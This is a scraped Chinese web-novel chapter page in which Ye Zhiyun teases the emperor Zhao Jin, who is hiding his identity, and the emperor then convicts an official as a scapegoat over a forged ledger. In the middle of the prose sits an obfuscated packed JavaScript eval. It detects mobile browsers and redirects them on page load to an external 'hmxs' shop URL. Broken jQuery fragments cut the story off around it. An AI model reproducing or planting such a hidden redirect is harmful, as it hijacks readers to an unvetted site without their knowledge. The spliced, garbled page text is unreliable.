默认冷灰
24号文字
方正启体

11. 011

作者:云铃渡本书字数:K更新时间:
    “你说什么?”男人冷冷扫过她一眼,言语间似有些咬牙切齿。


    “我说三爷吃的快啊。”叶知愠不解。


    这不是在夸他吗?有什么好生气的?


    瞧瞧,都气的愿意正眼看她了呢。


    赵缙冷笑:“你好大的胆子。”


    强喂他吃东西,她还真是头一个。


    叶知愠顺着他的视线看过去,她仔细瞅瞅,才反应过来男人咬了两口,根本没吃。


    他一直蹙着眉,脸色亦有些黑。


    叶知愠小心翼翼,颇有些心虚:“三爷真……真一点酸都不吃啊?”


    她觉得这点酸刚刚好呢,有时不过瘾,还要吃各种酸杏脯。


    “你说呢?”赵缙险些没被气笑。


    叶知愠轻轻戳了戳他的手背,可怜巴巴的:“我错了嘛,真的错了。”


    她见男人没反应,又转而拉着他的袖子晃啊晃:“我都知错了,三爷顶天立地,是男子汉大丈夫,就不跟我这个小女子计较了,好不好?”


    姑娘面染红霞,一双清灵的眸子忽闪忽闪,可怜极了,便是在作戏也能叫人一颗心都化掉。


    赵缙阖上眼,没作声。


    叶知愠大喜,忙恭维道:“三爷大人有大量,我日后再不敢了。”


    既然男人是真不想吃酸,她便不再勉强,自己吃些小食垫垫肚子。


    叶知愠还自来熟的倒了两盏茶,她将其中一盏推过去:“三爷喝点茶润喉吧,去去酸味。”


    赵缙扯扯唇角,倒是能说会道的。


    叶知愠也不在意他的冷淡,她掀开车帘,探出脑袋左瞧右看,成国公府竟都快到了,她恹恹想。


    日子一天天过,叶知愠每日都在掰着指头数。


    她眼珠子一转,目光落在赵缙手里的书册上,随口搭话:“三爷平素都爱做什么?看书吗?”


    赵缙抬抬眼皮:“怎么?六姑娘也爱看书?”


    叶知愠来了兴致,她想都没想便点头道:“爱看,我特别爱看书,想来跟三爷也是有共同兴趣呢。”


    她掩嘴,垂眸羞涩一笑。她也不算说谎呢,她特别爱看话本子,废寝忘食的,就连夜里点灯都要看,可不是喜欢嘛?


    “三爷改天要与我一道去文博书斋逛逛吗?他家的书种类多,写的也好。”


    叶知愠满脸期待。


    “六姑娘,成国公府到了。”外头李怀安将她的话打断。


    叶知愠吸了口气:“后日三爷有空吗?若有空,那我们便说好了。”


    她嘴巴一扁,委屈道:“上回三爷莫名放了我鸽子,这回总不能再爽约吧?”


    赵缙恍若未闻,翻着书页的长指微微一动。


    叶知愠知晓他就是这个死样子,她又多嘱咐两遍,不再浪费口舌。


    临了,她转身下车时,身后男人淡淡提醒:“六姑娘的吃食。”


    叶知愠回眸一笑:“哦,三爷说那个烧饼啊,那本就是我专门买给你的。你若不想吃,随便处置好了。”


    “后日文博书斋,三爷记得赴约。”


    她最后叮嘱一句,提着裙摆蹬蹬蹬小跑回府。


    秋菊瞧见自家姑娘这个时辰回来,惊掉下巴。


    “二太太和四姑娘呢,怎就姑娘自个儿从季府回来了?”


    叶知愠往床上一摊,她终于想起自己遗忘了什么。


    黑衣人!


    她三言两语将事情道了一遍,当然也没忘记后头与“显郡王”在马车里的事。


    秋菊一脸懊悔:“早知有这般危险,奴婢说什么也要陪姑娘去,姑娘没伤着吧?”


    她说着往叶知愠身上摸。


    叶知愠捏了捏秋菊的脸蛋,噗地笑道:“瞧我能蹦能跳的,能有什么事儿?”


    至于那黑衣人,她现在还在后怕。


    那人会不会一直跟着他们,待“显郡王”的马车一离开,半夜就闯进她闺房杀人灭口。


    叶知愠越想越胆寒,很快她又安慰自己。她早已向对方证明守口如瓶,若真闹出人命,恐怕对方也讨不了好。


    至于季府的事,她接下来几日多关注着。她有心提醒,却也得先保住自己的命。


    叶知愠长叹口气,秋菊却忽地问道:“姑娘,您的耳坠丢了?”


    “没丢,能找回来的。”叶知愠摸了摸空荡荡的左耳,弯唇一笑。


    _


    回宫后,李怀安闻着马车里溢出来的烧饼味,一脸难以置信,陛下竟当真没有嫌弃,准许六姑娘在车厢里吃东西了?


    他面色复杂,越发觉得有戏。


    李怀安还在傻笑,忽地听帝王吩咐:“叫人把马车收拾干净。”


    他欢欢喜喜应了一声。


    瞧见那落下的烧饼,李怀安捏了捏牛皮纸,还是热乎的。


    他踌躇问:“陛下,这饼……”


    陛下当是不吃的,只丢掉也怪可惜浪费。


    香味飘过来,李怀安没忍住咽了咽口水。


    “你自个儿看着办。”赵缙撂下一句话。


    李怀安一喜,既然陛下不吃,那他就吃了。


    宫里的吃食虽好,做的也精致,不过偶尔尝尝外头的民间小吃,换换口味也是种享受。


    李怀安颠颠在后头跟着。


    赵缙忽而停下脚步,他斜睨过去一眼。


    “罢了,放到朕桌案上。”


    李怀安面上的笑登时僵住,他哪里敢跟陛下抢吃食,不过已经心里头琢磨着叫干儿子来喜也悄悄给他从宫外弄一份进来!


    “哎,奴才知道。”他紧着应了一声。


    夜深人静,皇宫御书房内烛光映映。


    赵景肃容,在下头低声禀着。


    沉寂的空气中发出账本刷刷刷地翻页声,他抬头看去,只见帝王面色阴沉,那翻页的声音越发疾,帝王的喘息声也跟着越发重。


    倏然,“砰”的一声,账本被合上,反扣在案边。


    赵缙冷笑出声:“韩庭国这个老狐狸,好一招将计就计。”


    “都怪臣办事不利,还请陛下息怒。”赵景伏地,暗暗握紧拳头。


    他本以为这回能顺藤摸瓜抓住韩庭国的尾巴,没成想对方顺势将计就计,将线索引去户部金科给事季度身上不说,拿到的账本更是他精心策划的假账本。


    这上头将他自个儿抹了个清白不说,就连户部尚书也无任何罪过,说来说去也只是这金科给事季度当初将白花花的银钱给私自昧下,不过是他与“畏罪自杀”的工部尚书合谋。


    别说帝王怒不可遏,便是赵景都一肚子火气。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779643|190344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>赵缙暗下去的眸色冷若寒潭,他捏捏眉心,声音异常平静,沉声道:“元初还年轻,又岂是那老贼的对手?终归是你我太过心急,才着了对方的道。”


    赵景一脸愧疚,如今他说什么都有为自己洗清的嫌疑。


    他道:“事到如今,这金科给事也不算无辜,不说旁的,处在他这个位子,对内情定是知晓一二。”


    不论季度是被逼迫的,还是碍于韩国公的权势不敢声张,他都有知情不报的嫌疑。


    赵缙嘲道:“对方已给了朕这个当皇帝的台阶下,明日上朝此事也当有个定论。”


    赵景心头沉重,低低应了一声。


    韩家从先帝在世时便一手把控朝纲,势力遍布朝野不说,门客亦是众多,今上登基才算拔了他不少爪牙。


    然百年世家大族,又岂非一两日之功能撼动的?


    的确是他与帝王心急了。


    时辰不早,临出宫前,赵景想起季府一事,三言两语道来。


    概因那姑娘很是面熟,春花宴上陛下又与其有一面之缘,是以他也不敢擅作主张。


    赵缙神色一顿,淡声道:“将人撤了吧,她不会乱说。”


    一个小心思忒多又自作聪明的姑娘,他看她比任何人都要惜命。


    赵景面上愣住。


    _


    次日朝上,有大臣再度提起先帝陵寝塌陷一案。


    赵缙坐在龙椅上,目光一一掠过下头神色各异的臣子们。


    他问道:“三司会审的如何?”


    刑部尚书三人忙跪下请罪:“臣等无能,还望陛下恕罪。”


    实在不是他们推脱,而是年头久远,证据难寻,涉案的工部尚书也畏罪自杀,知情的户部尚书安大人又日日在牢里喊冤。


    他们依律法办事,又有韩国公盯着,刑讯逼供的事更是做不得,案子这才一直僵持。


    赵缙摆摆手,叫李怀安将账本公之于众。


    李怀安给众大臣看过,解释道:“这是陛下私下得的账本,里头种种证据皆指向户部金科给事季大人。”


    众臣一片哗然,私下惧都交头接耳。


    “季度,你可有话要说?”赵缙沉声。


    “罪臣有负皇恩,无话可说,臣认罪。”季度跪伏在地上,颤颤巍巍道。


    向权势低头的那一刻,他便知早有如今这一天,这些年他头上始终悬着一把刀,如今这把刀落下了,季度的心也踏实了。


    赵缙指骨轻轻在龙椅上敲着,季度终归是心甘情愿做了这替罪羔羊。


    他目光在百官之首的韩庭国身上掠过,眸色冷沉。


    昭武三年春,帝在朝上因先帝陵寝塌陷一案,定罪臣季度入狱,三日后问斩,其家眷流三千里,子孙三代不得入仕为官。


    而在牢中被关一月有余的户部尚书安文达无罪出狱。


    消息最先传进后宫,安嫔长长松了口气,住在她宫里偏殿内的季美人当即昏厥过去。


    季美人长跪太极殿外不起,帝置之不理。


    李怀安看着一身素衣,身形单薄的美人,长叹气劝道:“事已至此,陛下未牵连美人,只降了位分至才人,美人更应知足,顾好自己才是,莫要再来扰陛下烦心。”


    如今的季才人听后,登时泪流满面。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)